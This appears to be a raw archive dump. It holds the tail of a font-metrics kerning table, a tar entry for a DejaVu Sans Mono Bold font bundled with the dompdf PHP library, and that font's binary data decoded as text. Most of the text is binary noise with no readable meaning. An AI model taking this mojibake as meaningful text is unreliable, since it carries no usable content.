KPX Gdotaccent Gdotaccent -45
KPX Gdotaccent Gcommaaccent -45

KPX Gcommaaccent six -45
KPX Gcommaaccent Gdotaccent -45
KPX Gcommaaccent Gcommaaccent -45

KPX Hbar dollar -112
KPX Hbar seven -73
KPX Hbar D -196
KPX Hbar F -235
KPX Hbar H -235
KPX Hbar R -235
KPX Hbar U -149
KPX Hbar V -188
KPX Hbar X -188
KPX Hbar Z -225
KPX Hbar backslash -225
KPX Hbar m -149
KPX Hbar braceright -149
KPX Hbar cent -196
KPX Hbar sterling -196
KPX Hbar currency -196
KPX Hbar yen -196
KPX Hbar brokenbar -196
KPX Hbar section -196
KPX Hbar dieresis -159
KPX Hbar copyright -235
KPX Hbar ordfeminine -235
KPX Hbar guillemotleft -235
KPX Hbar logicalnot -235
KPX Hbar sfthyphen -235
KPX Hbar acute -235
KPX Hbar mu -235
KPX Hbar paragraph -235
KPX Hbar periodcentered -235
KPX Hbar cedilla -235
KPX Hbar ordmasculine -159
KPX Hbar guillemotright -188
KPX Hbar onequarter -188
KPX Hbar onehalf -188
KPX Hbar threequarters -188
KPX Hbar questiondown -225
KPX Hbar Aacute -225
KPX Hbar Eacute -235
KPX Hbar Idieresis -235
KPX Hbar Yacute -235
KPX Hbar ebreve -159
KPX Hbar edotaccent -149
KPX Hbar ecaron -149
KPX Hbar gdotaccent -188
KPX Hbar gcommaaccent -188
KPX Hbar Hbar -73
KPX Hbar dotlessi -188

KPX Idot dollar -63

KPX lacute dollar -131
KPX lacute ampersand -36
KPX lacute D -159
KPX lacute H -178
KPX lacute L -36
KPX lacute R -178
KPX lacute X -178
KPX lacute cent -159
KPX lacute sterling -159
KPX lacute currency -159
KPX lacute yen -159
KPX lacute brokenbar -159
KPX lacute section -159
KPX lacute dieresis -159
KPX lacute ordfeminine -178
KPX lacute guillemotleft -178
KPX lacute logicalnot -178
KPX lacute sfthyphen -178
KPX lacute acute -178
KPX lacute mu -178
KPX lacute paragraph -178
KPX lacute periodcentered -178
KPX lacute cedilla -178
KPX lacute ordmasculine -178
KPX lacute guillemotright -178
KPX lacute onequarter -178
KPX lacute onehalf -178
KPX lacute threequarters -178
KPX lacute Egrave -36
KPX lacute Icircumflex -36
KPX lacute Yacute -178
KPX lacute ebreve -178
KPX lacute dotlessi -178


KPX uni027D dollar -282
EndKernPairs
EndKernData
EndFontMetrics
vendor/dompdf/dompdf/lib/fonts/DejaVuSansMono-Bold.ttf000066600001210330151150442770016725 0ustar00 FFTMs���,GDEFe;X&HtGPOS�����jGSUB�F
�(OS/2�&��"0Vcmap_�*"�6cvt �I�*8��fpgmq49j:D�gasp:�glyf���:���head�� �6hhea	��!$hmtx����!8�loca�8�;(3�maxp��n� namet6lo!Bpostm���`{�prepLQ�3���=����)��)l��������{|�������������������
��DFLT&arab0cyrl>grekPlao \latnh����
SRB 
������4ISM 4KSM 4LSM 4MOL 4NSM 4ROM 4SKS 4SSM 4��markmark&mark.mkmk4	$,4<DLTHn��	�
���"j����j��&0j:j�����jQ]jjh���$6HZl~��P<��x�����P<��<�����|��@����4�X�P<��p������~��j~j��j���������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���l��@�Lh��\�h<�XX�xX�x<��d��l��X�xX�x.��,��L�P�X�@������� �� ��X�{��D��?�W�s\�sX�{<��(�[�X�{X�{T����X�{�����������.������?5�JT�j�sN�pm�6�O�?�6u�\�P�M�.\��:�.�P�N�jL�j[��Z��[�jI�jW��T��L�j4�jK��]���L��@�jV�j�8��8�jb�jt�������@x���������vX��T������,d�(h������Hh�4������L��B,�j,�j��2�),�j,�jT�dT�d��dT�dL�p��pO��_���i����9�;]�O��]��]����ke�g5�gI�Kj���k�!�_9�k!�_!�_!�_!�_!�_!�_������
���s������Y��=�g������U�w%�k��[��[��[��[�������������y�k]�k������y�kA�k�������a��������a��a��a��A��a��=��a��1��a��%��������a��a��������a��a���/��K���Y��M��5�����a����K��Ke�o}�Q�G�/
�{]�o�����O
�G�?e�k�����]���k���i�s����������\��T�,i�
�TY�<d��X�{������E���/J�>P��
�p
WW[{��"� 3#&o),s<<wC�x������~��j~j��j���$6HZl~��h�U�h�E�hc��hG�h���h���h���h����	|}������	&,28>DJPVj h�jQ]jj\jhj jJh���
����� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~�������b�z�b�2_b�VS�;�C�k�k���k�����2����zo.�2��rb�rw�>*��{��v�&�#�_�BCbO&cn��k�k�k�k}<�x�x��%i�F�W�W���@�T�T�[�:�B�`�^�L�?c:�Es[�T�v��;�]�4�8�x,� ���X&��(o��X��o���X��lo��PXd�To��XO��JB�<E�x�K��U������T�T���T��RlbO�W���&�Z�Zs{;�#7fkf���*��*�.���z"/*3���[�c����k��:�B��o��:s6����2��C����2>^����n��������~*6.Zw.k~�B�VKO�������������������2
��Gh�8�pBh<U=7~�e<P�L�#j_
�38~~������{������)K���pr���f��{�+�����>�V�;'�����o�"?�4��W�WWY{��$� 5#&q),u<<y?BzE�~������	|}������	&,28>DJPVj h�jQ]jj\jhj jJh���~�
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz�������������������h�h���6�z�����h�h���h���h�h�h�h�h�6�h�h�h�h�h�h�h���h`h�`hg`hh`h�2h`h`h`h`h`h`h`hh`h`h`h`h`h`z�h`h�h`h�h`h�h`h�h�h`h�h�6�h`-`�`���`h`hh`h`h`g`h`h`h`h`h`h`h`h`h`h`�`h`h`hh`h`h`h`h`h`h`h``h`h`�`h`'�}{g�f�i�d�
i�d�6�h�h�h�h�h`h���h�hA�`�h�k"$=DKN]"��2��3��4��5
68BB:HH;��<��=��>��@��BC��DEowFy�O��e��g��i��j��k��n��o��p��r��s��u��w��y����V\bhntz��������������h`h`h`h`h`h`h`h`h`h`h`h`h`h`h`h`h`h`h`h`h`�/�������ntz����������������������
"(.4:@FLRX^djpv|��������������������������������������������������� ����������������������� ���������������>DJPV\bhntz�����`�������������������������
�NDFLT&arab2cyrlFgrekXlao blatnl����SRB 
������FCAT PESP PGAL PISM XKSM XLSM XMOL bNSM XROM bSKS XSSM X��������	case8dlig>finaDinitJligaPloclVlocl\medibrligh	$,4<DLTHL	V	�	Z	�	�6N�
��Jpp5>@BDFJLPRVZ^bfhjlnrvz~�������������������
�$*"Xpr{��#��4T'HNTX\`dptx|�����������(������� &,\\^^`diprxz{����"T'GMSW[_cosw{����������'��������%+\\^^`diprxz{����"
�J�J��>
$�D�@�>�D�@�>���O�LI���c����3�3��f	�&����(PfEd  ����m�`��,
4,,
4��~�����!AEM��������?CXaw�����_cs��������V_��
:UZmt{�����������?���������������	.<[ex{���-Mcy��������������EMWY[]}������� 
 # & 7 : ? I K _ q � � � � �!!!!!!!"!$!&!+!.!H!Q!_!�""" "#"-"="i"�"�"�"�"�"�"�"�####!#(#+#z#}#�#�#�#�#�$#&/&�&�&�&�''	'''K'M'R'V'^'u'�'�'�'�'�'�'�'�'�)�)�)�)�**/*k+
+,d,p,w,z,...%..���'���������������������t�������� ������$CLP�������CXatz������br��������1Ya�	!@Z`ty~����������?���������������,0>bw{���0Th|������������� HPY[]_�������   & / 9 < E K _ p t � � � �!!!
!!!!"!$!&!*!.!H!P!S!�!�"""#"'"4"A"m"�"�"�"�"�"�"�#####%#+#5#}#�#�#�#�#�$#%&8&�&�&�'''')'M'O'V'X'a'�'�'�'�'�'�'�'�'�)�)�)�)�**/*j++,d,m,u,y,|..."..���"�����������R���������p�v���������������������������������������������q�i�W�U�Q�P�O�N�M�?�=�/��
�	����������������I�H�G�?�:�7�6�1�-�(�"������
�����������s�2�1�/�.�,�&�%�$�#�"� ��������������������������q�m�k�e�a�_�^�[�Q�O�K�I�A�?�5�3�1�/�-�'�%�#�!���������������	�����������������������z�y�w�s�r�q�n�l�S�L�K�"��������	�������������������������������3�W�O�K�H�:���������������������������������d�*���D�<�8�7�6ݞݘݖݎd�d�d�dNdMd5c�����y?-
�
�
���� ~��b�������������!�$A�CE�LM�P����`��g��k��s��|������?�CC�XX�aa�tw�z����������������_/bc�rs���������������������������1V�Y_a�&��MO	
QSTUV!:W@UqZZ�`m�tt�y{�~��������������������������������??����������������������������������������������	,.0<>['beEwxI{{K��L��M��jq-�0M�Tc�hy�|����������������������	��
��������%'= ECHMiPWoYYw[[x]]y_}z�������������������  
  # & &/ / 70 9 :9 < ?; E I? K KD _ _E p qF t �H � �c � �p � �� � ��!!�!!�!
!�!!�!!�!!�!"!"�!$!$�!&!&�!*!+�!.!.�!H!H�!P!Q�!S!_�!�!��!�"�""0"" 1"#"#;"'"-<"4"=C"A"iM"m"�v"�"��"�"��"�"��"�"��"�"��"�"��"�"��##�##�##�##!�#%#(�#+#+�#5#z�#}#}	6#�#�	7#�#�	;#�#�	?#�#�	@#�#�	T$#$#	V%&/	W&8&�
�&�&�
�&�&�
�&�&�
�''
�''	
�'''
�')'K'M'M3'O'R4'V'V8'X'^9'a'u@'�'�U'�'�V'�'�n'�'�}'�'�~'�'��'�'��'�'��'�'��)�)��)�)��)�)��)�)��**�*/*/�*j*k�++
�++�,d,d�,m,p�,u,w�,y,z�,|,�..�..�.".%�....��������"�'������������������������������R�����������!����#����'����)�p�t-�v��2�����������Z�Z�
	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a��������������������������������+rdei-x�pk�vjl��8spqgw-+@l|����cn4TT"m}/b���'(#$�
!�:|9:��,y%)1����������������gyquvwzzxh3#����N\{�#'##\#�\\w�#3�b#�#\bb��b�����������������%��%1�/#�/�
9b�R�����s�����������q�#�o�V���d\�H�f��```{�\{��`�����o�7L��'�5����%��={����D=!��/��s�, �%Id�@QX �Y!-,�%Id�@QX �Y!-,  �P�
y ���PXY��%�%#� �P�
y ���PXY��%�-,KPX ��EDY!-,�%E`D-,KSX�%�%EDY!!-,ED-,�%�%I�%�%I`� ch ��#:�e:-��h��h�@��b/���1����0!%!!h�s����r)���	@
d
�<�2991/���0!!!#���!�#���q��e����@d����1�<�20!!!�����+��+��J@0g	g


	 ��91/<�<<�<<�<<�2�220333#3!####5!#5!#3�_�^�a��J��^�^�^�^�J�^�J����v������u��u�%�v�������D
/P@+)%$(hh!/$,( 0�<�2������1/<��2�2����2��90>54&#.'.546753.'�?FE�>??ˍW�gg�U�̹�G�P>�[��ٴ��	O=>O-C:9L��-.+=BI'�������(0��Ϭ��	!��'3V@-(	(kk	kj.k%1"+1""4��������99991/������999904632#"&"32654&	4632#"&"32654&!��������?9PP9:OP��)��˹�������=8ON9:QRX�������O::OO:9P�P�`�^��������P::OP99Q%����*8�@Z)(*()(-,.+23456718%8+(%#1)	#1p#popnr)($ +.# 	.8 )$.9�������999999991/�����99990KSX�9�9��9Y"%#"5467.54632.#">54&'3!32676767fK�W�ꍋ20��I�D@�APR=D9�DI���"BC�r;H23ё�XN�<���$%86$~f� &b993��V��+wIz�
�����d��1��0!���+���
@ut

��2�991��0#&547�����䟚���@��=�������5��R
@ut��2991��03#6545䞛��䄀��=��?������y9T�J@(
	
n
		
�<�2�<�2991��<�2��2990
%#'-73%T��JL�����LL��LK�L�������X������X���B\��#@	v	
�<�<�1�<�<�0!!#!5!���R�P���R�P���j��o@
w
����1��0!#�9��co��-������1��0!!-w�����o�w
��1/�0!!�M��o��q�B`�@	d����1��03#�����m{��V�#$@	x!xn!r$
$������1������0@�//////////	/
/??????????	?
?OOKKKKK	K
OTTTPPPTT	T
ddd```dd	d
�������	�
��������	�
��������������	�
�T//////////	/
/����������	�
�����������	�
�$]]4632#"&"326&32#"�H45HH54H|f^^fg^^�����������5HH54HGB����������~�{�|�~��o�
$@xxdx	����1/�2����0!%!!!�J��5J�M�L
J�/��s'�[@/%
zy
xnx


���991/�����990KSX�9�Y"!!577>54&#">32�u�L�=KByoO�kk�^�;H5�����/FV�Adm?<')ݿX�^D�}��L�(G@)p zy#pz
y	pnr)	&
)������91���������90#32654&#">32!"&'32654&%��nyynT�gg�\�������q�d^�xx���WOS]*(!ε��Ǣ��&$/1o^s}fu�
B@


%xd	

���<�291/��<�290KSX��Y"	!!3#!!���y5���������j���B���F�<@!xzyx
xd
r

�����1��������90!!>32!"&'32654&#"�+��$R.����`�fS�X����O�Q����
�����  
))�u�''���b�$5@{{
zy{"nr%	
%�����1��������90"32654&.#">32# !2�`ee``gg#O�C��/�c����..F�싄��������--��AA���n����7�5@%xd
���991/��0KSX��Y"!!!�������������P�#/D@%{'{-{nr'0	$*	
!0�������991������990"32654&%.54632#"&54632654&#"hczzcc{z��qv����to|�����eWXeeXVf�}gg~�eg}}'�y��غx�(&ĉ���׊�TXggXWefo��N�$7@{
zy{
{nr%
"
%�����1�������9073267#"543 !"&2654&#"�O�C��/�d�������F�7_ee_`gg
.,��AA�����i�}�}�������'@ww
�<�21/���0!!!!�M��M��'������s��'	"@ww


�<�2��1���0!#!!�M��NM��o����Xmy�@��291��90	5y����!�������X'y�@vv�<�21����0!!!!X!��!�����Xmy�@�<�91��9055X!�����`�a��)�$q@8
	%$	
fhn
	!

%�<�2���999991/������9990KSX�9�9Y"!!!546?>54&#">32�����>PZ?-\\T�`b�e��D^XD&����c�NY=P+CDGF89��L�\VBT=	���s4]@1(+$	4|	|}'$|+}|+15'(
!.5����2��991��������9999904&#"326#5#"&5463254&#"3267# !2�fYYeeYYf��&gH��ȥGl"����0�P�E\Q�m���`v4�!q��qr����R51���1/)��������//�77������!��
�@;


	


%h~d			
�K�SK�
QZX�
@8Y�91/<��90KSX��������Y"@,0000
5::5s|����]]!!!!!h���i���\�uZ����q�+q��}�� >@$h
	hdh
�	!��2����991/�����9032654&#32654&#%!2)�čqv���p_an������������F`wyjF��P\\S뽼��
�����9�.@�op
�op	nr!��2�1�������0%# !2.#"32679F�U���>.U�DL�L����L�L+$$�xy�$$��FA������AF�u�(@p	dp
!
	"���99991/���0326&#! )�P������<nB�������?��
���t�s���J�*@ppd
p�#	��2�<�1/�����0)!!!!!J�^���?��{�������y�X�	%@ppd�#
��2��1/����0!!!!!X��B����������u�u��j�S@!pp�opnr%!����1��������990@��]]#5!# !2.#"326h��U�u���?-Z�L>�`����.D��TIK�sy�30��PQ�������H�&@p�d
	"��2��21/<�2��0!!!!!!�'q'�������9�+��h�%�#@pd	p
��2��21/�2��20!!!!!�y��)��)����3���m����.@�opp
dr	����1�����99073265!!!"&mV�ctl����_�JVX\t��
���4u��a@3		%d
	��2�91/<�290KSX������Y"!!	!!u'�N�)��������N���w�����@pd���1/��03!!�'w�/��V{��@	
%
%
���91@
d/<�2�90@
	%KSX����Y"��	]@R	)=??	����
��
& )/708?�����	�	����	����	����	]]K�
TX�
��88Y!!###V`��b����q��+��s��TwX�	S@%d&&
���991/<�2990KSX��Y"��]@	��]]!!!!w=���^����=�+=��\��u�#@ppnr	!!'���1����0"326&! ! hqhhqrhh��		��������������
���x�����x��{�,@pp	d
!
	��2��99991/����032654&#%! !#!�y�uu��`�5���n���Jbyyb�����\��u�<@ pp	n!!'���991�����9990# ! "326&�	����		~x���qhhqrhh�~��x������L�������
����f@6
	%p
pd
!
"��2���9991/<����9990KSX��9Y"!&'&+!! 32654&#',A/���
Ok^��� �����yihz�	A^��y�����暶
�i_mm^���V�'p@>''
'%'
�o!p
�	o
pnr('$	($"(�����99991�������90KSX�9�9Y".54$32.#"!"&'32654&'�ߞ�g�e_�`krS�������o�hv�lmxPL�U����/.��CFVP>Q10Bڦ��541TRcYCeZw�@pd���1/��20)!!!���������j��f�*@	pr
d	���1�2��99990!3265!! j'reer'���'��pp��R���9��m@%%d�K�SK�
QZX�@8Y�91/�290KSX����Y"@

]]%!!!h)���g��)��+����@@	
	
	


%
d
	/�91/<�<�90KSX��������Y"��]@6fe
�
	)&ghj	fgwzsx�������]]!3!!!k���T��������;H�+�����@C	


	%	d	
�K�SK�
QZX�@8Y��91/<�290KSX��������Y"@
	
]])	!	!	!��������V11�X���%�!��S@(%d	���9991/�290KSX����Y"!	!!>"#>�3����X�w��Ls��	8@%pdp
���991/���0KSX��Y"!!!5!��L����w��#��������$@�u�t������1���0!#3!������Z�o�B`�@	d��991��0	#N���m�/��+ @�u�t��991���0!53#5+����޾��9���@
d��91��290	#	#���������-��-�����/�1��0!5�/�۾����f"����1�K�	TK�T[X�@8Y�0	#���f��x^��T{
%�@/	ggh �g#�r�#
	.)&����22991/��������99990@-400 4!urr���
�����	�
������]"326=%!5#"&546!354&#"5>3 ���ZMt�#��5�d��
�gdi�ka�p�TfLZ��q��}JPʵĻ1GI5:�(&����w6@	h	hr�t20��22��1/�����9904&#"326>32#"&'!!Rl__nn__l�h6�Z���e�.��$-�������6]]�����ba����%}.@�yh
�yh	�r75��2�1�������0%# !2.#"3267%J�b����&Z�S@�R����U�B9++89*,��7;����9:Z��;6@hhr�t2)���221/�����990!!5#"3232654&#"$��/�e����Z���l__nn__l�S��ab40]��������\��}{L@#
��
hy
�h	�r.)�����1��������90@��
���]%# 32!3267.#"Nf�v������	��e�k�spex7**->���w��:?itw{q�;4@��t	�
�<�<�2991/�2���2990!!!!5!546;#"�X���������B/�b��Nʜ�0b�XH}(I@(	&'	h�yhh#�'��)&2 ))����221��������999904&#"326!"&'326=#"325!#r]\qq\]r%��\�]S�[|v+�f���`�+%B������������
.,u|yPN,
8ZR��/.@	h�t
7
	5��2��1/<���99990!4&#"!!>32/��ENPZ��#�j���)�yh�}���]f����	
*@
���
s
�<��<�1/��2���0!!!5!!!!�Dl�m��%��`���������XR�
7@	
�
���s	�<�2��991������990%#!53265!5!5!!R����bR��N��%+���n�T��V��@@!	%�t
	.5���291/<��90KSX��Y"!!	!!�%`c�X�����d����}�^�B`�TZF
%@�t�
	���991/��990!5!;!"&���NRb��Ѷ�`��n��R�{"�@'	h ��:=:=:#�K�
TK�T[X�@8Y�����91/<<�<�299990@7      	 
 /////////??	?
???????]>32#4&#"#4&#"#3>32�!fJ�o�&22(�(22&��nDDp�GD����}TV{�1�{VT}�1`tBMQ�/{0@	h��
7
	5��2��1/<���99990!4&#"!!>32/��ENO[��#�j���)�zi�~�`�]f�b��o{#@hh�r	.)���1����0"32654&32#"hixxijxx��������������������=�����=��Vw{9@hh�r��20��22��1������990%!!>32#"&4&#"326���$.�e����Z�bl__nn__l���
�ab�����]񢸸����Z�V;{5@	h	h�r��2)���221������99032654&#"#"325!!l__nn__l�6�Z���e�/$��1���������^]04ba���#{)@	
h��

	���21/�����990.#"!!>320�M]�&��%+�w<s4+,,A>&ln��`�`i���+{'�@=
	
%	

�yh�yh%�r(	>7"5(�����99991�������990KSX�9�9Y"�(!]@+  $))	)
)))
),//,))))) (!$'].#"#"&'32654&/.54632�Q�Xbd�T����e�ma�^gjK�Q����_�=�4598P2&����##7:<98<"&����o1�1@���
	�<�<�2991/��<��2990!!;#"&5!5!���IU���������KA���>���%`0@	hr
�
	75���21/�2��99990!3265!!5#"&�%DOOY%���i����Tyh�~����]f�P�`i@%%�1/��91/�290KSX����Y"�X]@U
ZUUY]]	!!�������)��`��`��j�`�@@	
	
	


%
�
	/�91/<�<�90KSX��������Y"�h	]@@
	
)&')96k	cwxuy����������]]333!!�y�w���ꈇ��`��5��Z��F��7�`�@B
	


	%
�
	1/���91/<�290KSX��������Y"�	]@	
			96]]	!!	!y�����������V��`��y��H��N;�X�`w@A

	





%
	���

	1/���91�2��9990KSX�����9�Y"+5326?!!�;�v�wZT+�V4�4y���=o<A�)��9`	8@%���6/
���2991/���0KSX��Y"!!!5!���M�iN��`�`������$^@0%	 !�	��	t%	
$ 
%�<�<�299999991������99999990#"&=4&+5326=46;#"3���k�>>�k���{hFb~~bFh����חs�r��ݓ�T�ѥ���͐U����t��1��0#������!$`@1% ��#�t%#%�<�2�<�99999991������99999990326=467.=4&+532;#"+�yhHb}~aGiy���m�>>�m����V�ͤ���эV���חs�t��ݔX�y++@����1����9990#"'&'.#"5>32326yK�OZqMg3N�JN�S5dJt]F�+�<73
":?�=6
7=��`	 @d�

�<�2991����0!!!3���!�#E�+�e������!F@&�	yh
�yh�r"-/"��<�<<�221�2�<��2����2��0.'>7#&5738x?@w84xC����=u��r{~5��*1�L0+��"�� :��9��!�������wb�>@ 
�zyhnx
	�<��<���1/�2�2�����2990.#"!!!!3#535632N9�EjcP��������S����)+������N�����^T/c@8 	*(-'!	)
-0)'!$
*( $0��2���2�9991��2���2�99904&#"3267'#"&''7.5467'7>32;dJIeeIJd�����$P0'T-������)S.'Q�IccIJffq���)S,/Q$������*S)/Q&�����u@<%	d
	
���2��2�9991/�2�<�2�<�290KSX����Y"!	!3!!!!!5!'!53>"#>���V��d��d�V�����X�𻗽�J���������@
�<�21����0##������
��
���=%�>y@C/0*106
'f&*f#
ff<n#?130/-	0-	6&-? 	??9?&3?����������9999991��������9990>54%.#"#"&'532654/$5467.5463271a�71��|U�6LU�	�v_fFAѺY�UU�IMR���haG@ЬJ�X$E(6X`$E+Q�l�:4Ki
n�eY�/2{Q���95Fs��^�!2xR��-;�1@
����1�<�203#%3#���u��1���}�N1ID@%

�
��>���2�>�&JDB
 C8B ,/���2��1����������0.#"3267#"&546322#"&'.5467>"3267>54&'.P4[0akjb5`*7j2��ʩ7i��ZZ\[[[�~}�[[[\ZZ�~c�IGHHGG�cd�FHHHHH��h__g�����$ZZ[�~}�[[[[[[�}~�[ZZ�GIG�eb�HHIIHH�be�GIG���
%)d@4$#(�&$�&���� n*&('#*�����22��9991�����������999905#"326#"&546;54&#"5>32#!!fmd=6Vn2yN�����[[R�@I�L������P4818g�96�u��11!"����@w�w�#
-@		U
U�<��2991�<�2990
5
5���+���+#�������������Xjy�@v	���1���0!#!X!�����,-������1��0!!-w����}�N 4L\@3-*+'0!�5�2+�A�M*',$0-!1E3+E$CGB3C;B/�������29991���<�����99902#"&'.5467>#32654&'2#'.'##%"3267>54&'.h�ZZ\[[[�~}�[[[\ZZ�b@@998(��NG&7O�?9)�c�IGHHGH�cc�GHHHHH�NZZ[�~}�[[[[[[�}~�[ZZ�b�((+)oXZAU81��:/�q�GIG�eb�JGHHGJ�be�GIG-X����1��0!!-w���V��@��n@@����1����02#"&546"32654&hCz//12.0zD����HdbHHdc�30/xDBz./3�����dHHbcGHdXy*@v	v
	
�<�2�<�21/��<�<�0!!#!5!!!���f�f��f!�����b�b������2@������^����91������90!!56754&#"5>32���f3Z:WK8�MK�B����6-��+KO4<#"�}o~��*���(D@&� ��#��
��	��)^&^)�������91���������90#532654&#"5>32#"&'532654&FooJUOFE�DE�C��ibou��K�JC�PU_b�2,-3�teI^p\y�@8=D��
f"����1�K�	TK�T[X�@8Y�0!#����f����T�` G@'	hr�
�! 		75!��2���991�2��<�<�990!3265!3267#"&'#"&'�RRQP!+J#H[%nF;S�T�Xrsrs���G>�KSNP/0�F�;)�
"@d�����91�2��90!###.54$!������f��N۲����w
��1��0!!�M������o�o3�9���
)@�	��	��^����1������2035733!9�����x-+�)�N����0@��
��n

����991������0!!4632#"&"32654&%��PŦ��ç��kIUUIIUUV����޾����~mm}}mm~��\#
-@
U
U�<��<�991�<�29905-5-��+����+��#�w��v����w��v����/��w{'H��V'{������/��w{'{���&�t�V��/��w�'H��V'u�����p�`%x@<
	%%	
fh��&#
	!

&�<�<���9999991�������9990KSX�9�9Y"!!!3267#"&546?>54765����>PZ=-\\S�ab�e��D^XB&E�o�c�MY;Q,CDGF��89��L�\V@T?��!�k&$�u@]1��!�k&$�u@]1��!�k&$�u�

+@
]1��!�m&$�u�$
+@O$@]1��!�k&$�u �

+@�
�
p?
0/
 

]1!�m!�@M ! !%h 
i ~! 

"������999991/<�����9990KSX��������Y"�]@\ !000 0!o�������������
  !!' )!;44 ;!t |!� �!������� �!]]	!!!.54632%32654&#"!/���\�uZ���,*�uv�*��N57MN65N����sq���%a=u��u>_�6MM66MM�A����c@3
%phpdp~�
	
%
/����<�291/<�����2��0KSX����Y"!!!!!!#3�����6���V�f���������n��j������{����o9�&�u&���Jk&(�u���Jk&(�u���Jk&(�u���Jk&(�u���%k&,�u���%k&,�u���%k&,�u�+1���%k&,�u�+K�
SK�QZX�@��88Y1u�9@hp
dp	!
"/�<�2��9991/�2���203#326&#! )#53���P������<nB�����ĉ����r��
���t�s������wXm&1�u�#+@O#@]1��\��uk&2�u@]1��\��uk&2�u@]1��\��uk&2�u�+@]1��\��um&2�u�1"+@O1@"]1��\��uk&2�u�	+1w�Xs0@
	
	�<�291�<�290		'	7	X��J������J���GJ�����H���JH���H�����	)s@>
)*
	
'$
($p$
pn$r*(!
	'!)!!!'*���.�99999991������999999903264&'.#".5!27!"&''�U8rh9N4pi�##	g�=q��''����j�@x�b9=�>5	33���X��>=�s�^���xCB�r��j��fk&8�u@]1��j��fk&8�u@]1��j��fk&8�u�+@]1��j��fk&8�u�
+1���k&<�u�{�0@hh	d!
	��22��99991/�����032654&#!3 !#!�y�tu��`'n5���n����Ibxyd���������2X@2)#,2&�h&h/tr*  #A ).+/3��������99991/�����990#"&'532654'&/.5467.#"!4632
}�t
aRP��=|C:s6IUsV;<��	b\^`������#[Q@Y
J>�^��� C:HXD0M~�JIeb��f�����^��Tf&DC��^��Tf&Dv��^��Tf&Dg	@?&/&]1��^��T9&Dy��^��T1&Dj��^��T&Dw���{A�@K.
4,;5#A�ggy 4�5��1g8g,�>8�& rB#;-,4T)-RB�<��������99991�2�2���2����2��999990@'33040536G3G4G5G6YYYYW3W6�����A]5#"326554&#"!3267#"&'#"&546;54&#"5>32>32�IWY@=?=�2??2�=d_<x;2}Sg�*)�b����LNL9�JJ�@b}#�\���RNKGKVXL}^^}Ӑ�;:�,*TPTP����3]^76�''>A=B������o%}&�HF��\��}f&HC'��\��}f&Hv'��\��}f&Hg'	@?/]1��\��}1&Hj'����f&�C����f&�v����f&�g����1&�jb��f(�@N (((#$%$"!"%%$%('%"! #&#h	hr#t)'& !#(%".))���99991������9990KSX���9�Y".#"32654&#"432''%'!%+1b0izwhms
udV������(?���7�%\)B����}����-b�������2�
�wum�t{u���/9&Qy��b��oh&��R��b��og&�R��b��og&gR�+@]1��b��o&y�R�1
++1��b��o&j�R�+1BV��$@v
	�<��<�1������0!!!!!!�5��5��uK�������������	+s@>+,
 )*&h&h�&r,+,* #
)#.),���999999991������99999990	32654&.#".5327#"&''?��B&hx�JZ>'jy�--�U�C���./���S�C����c��:����"4��I�m=+-�y�L�k���--�w�����%f&XC�����%f&Xv�����%f&Xg�+@]1�����%1&Xj�
+1��;�X�f&\v��Vw9@hhr��t20��22��1������990%!!>32#"&4&#"326���$.�e����Z�bl__nn__l������ab�����]񢸸������;�X�1&\j,�+@!����p_PO@?0/ ]1��!�N&�$�	+@	O@/ ]1@]0��^��T&�D��!�k&$���^��TF&D���!�o��'xc$��^�ol{'xD�����Ak&&��u�����pf&Fvf�����}k'��u&�����Jf&giF�����9k&&�d�����%1&F�K�����jk&&��u�����Gf&Fhf���u}&'�����Z���g�c��AnA1G�@8@/]1��u��Z���$F@&"
	"hhr�t
2)%��<�<�1/������<�2990!5!5!3#!5#"3232654&#"��2$����/�e����Z���l__nn__l�"�tt���ab40]�����������JN&�(@]0��\��}&�'H���Jk&(���\��}F&H�'���Jk&(���\��}1&H�'����oK�'x�(��\�o}{'x�H���Jk&(�5u��\��}k&Hh	@?/]1��u��jk'�yu*��b�XHf&g�J��u��jk&*�2��b�XHF&J���u��jk&*�2��b�XH1&J���u�j�'��*��b�XH'�dJ@?]0���Hk'�u+�+1����/k'��uK �+1K�
QX�@8Y@��O]0��>@ 	
p�d
	
"�<��22�<�22�1/<�2���<<�220!!5!3#!!!#53!5�'q&������ن�'q�������hQ����/B@"
h�t7

5�<�<<���1/<����<�299990!4&#"!#535!23!>32/��ENP--�ݠ�#�����j�QQ�)�yhGF}���zz���]fij���%m'�u,�$
#+1����9&y�@]1���%N&�,�+@/ ]1@]0����&�����%k&,�����F&������o%�&,xB����o��&Lxg���%k&,���`	@���
����1/�2��0!!!5!!�Dl�m��`�����������D@#
�op
pdpr	! ��2��2����1/��2�<�22���990%32765!!#"&!#3!3>?�HU'(���ST�E��l9���ǾMVX\::��
��uv4����3���	�N��
G@$�� ���s

! �<���<��<�2��1/�2�2�<�2�2��0%#!53265!5!5!!!!!5!#3#ѵ���bR��N��%�o���6�����!���n�T��V���������m��!k'�@u-�+1����X�f&g���u�0��&�r(.����0�'��(N��`?@ 	%�
	.5���291/<�290KSX��Y"!!	!!�%`c�X�����d��`��}�^�B`�T���l'�v/��ZFl'�vOK�
QX�@8Y@��O]0���0�'��(/��Z�0F&�(O����'�D�o/��Z�'�k��O�����'y��/��Z�'y��O	@/]1���
7@	pd	
�<��2.9991/��903'%!%!�q'p�}wo����™����%\D@%
	
�t�
�<�<�99991/��99905'!5!%;!"&���du��K'g�rSb��ѶӦâ��Ѡ���n����wXl'�v1���/m&v�Q��w�0X�&�:(1����0/{&�@(Q��wXk&1�)u���/f&Qh$�����'Q�a��j�Ve�2@pndp��2���1/�����90+532654&#"!!>32e\\�y%dR^jm;>��'%�~�������nl�n�ˁoKN��4�����X/{5@h��h75 ��2���1/�����99990+532654'&#"!!>32/[Z�y'dR"#NO.-��#�j�QQ�T�kl�n�z45GG~�`�]fij��\��uN&�2�+@	O@/ ]1@]0��b��o&�R�+@/ ]1��\��uk&2���b��oF&R���\��uk&2���b��of&R�D��>@!p
pdp�%	
